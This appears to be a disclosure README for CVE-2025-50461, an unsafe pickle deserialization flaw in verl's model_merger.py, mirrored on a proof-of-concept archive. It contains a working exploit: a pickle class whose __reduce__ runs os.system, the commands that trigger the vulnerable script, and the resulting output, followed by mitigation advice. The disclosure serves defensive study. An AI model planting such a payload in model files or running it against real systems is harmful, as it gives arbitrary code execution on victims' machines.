Associated Vulnerability
Description
Technical Details and Exploit for CVE-2025-50461
Readme
# CVE-2025-50461: Remote Code Execution via Unsafe Model Deserialization in Verl
> **Status: RESERVED**
> This CVE ID has been assigned but is not yet published in the official CVE list.
>
> A deserialization vulnerability exists in Volcengine's verl 3.0.0, specifically in the scripts/model_merger.py script when using the "fsdp" backend. The script calls torch.load() with weights_only=False on user-supplied .pt files, allowing attackers to execute arbitrary code if a maliciously crafted model file is loaded. An attacker can exploit this by convincing a victim to download and place a malicious model file in a local directory with a specific filename pattern. This vulnerability may lead to arbitrary code execution with the privileges of the user running the script.
## Description
## Affected Repository
- **Project:** [volcengine/verl](https://github.com/volcengine/verl)
- **Affect versions:** <= v0.4.0
- **File:** `scripts/model_merger.py`
- **GitHub Permalink:** https://github.com/volcengine/verl/blob/v0.3.0.post1/scripts/model_merger.py#L87
- **Dependency:** PyTorch < 2.6.0
## Proof of Concept (PoC)
### Step 1: Create Malicious Model File (`malicious.pt`)
```python
import pickle
import os
class Malicious:
def __reduce__(self):
return (os.system, ("mkdir HACKED!",))
with open("malicious.pt", "wb") as f:
pickle.dump(Malicious(), f)
```
### Step 2: Rename and Place
```bash
mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/
```
### Step 3: Execute Vulnerable Script
```bash
python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
```
### Result
```
root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
convert_fsdp_checkpoints_to_hfmodels()
File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
return _legacy_load(
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!' Notice.txt TESTS docker examples outputs pyproject.toml requirements.txt scripts test_prime.sh tmp verl.egg-info
LICENSE README.md data docs patches recipe requirements_sglang.txt setup.py tests verl verl_demo.log
```
The command `mkdir HACKED!` is executed on the victim’s system.
## Mitigation
- **Upgrade** to PyTorch version 2.6.0 or later, which defaults to `weights_only=True`, reducing deserialization risks.
- **Modify code** to explicitly set `weights_only=True` when calling `torch.load`.
- **Implement validation** to verify model file integrity before loading.
- **Educate users** not to load models from untrusted sources.
### Example safer load:
```python
state_dict = torch.load(path, map_location="cpu", weights_only=True)
```
## CVE Status
| Field | Value |
| ---------------- | ------------------------------------------ |
| CVE ID | CVE-2025-50461 |
| CVSS Score | TBD |
| CWE | CWE-502: Deserialization of Untrusted Data |
| Report Date | 2025-04-30 |
| Disclosure Date | 2025-08-15 |
| Affected Version | <= v0.4.0 |
| Fix Version | |
## Author
* Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)
* Contact: *\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*
File Snapshot
[4.0K] /data/pocs/b15b9f358ebb39854f2676b057738bc07dcfd896
├── [1.0K] LICENSE
└── [4.0K] README.md
0 directories, 2 files
Remarks
1. It is advised to access via the original source first.
2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.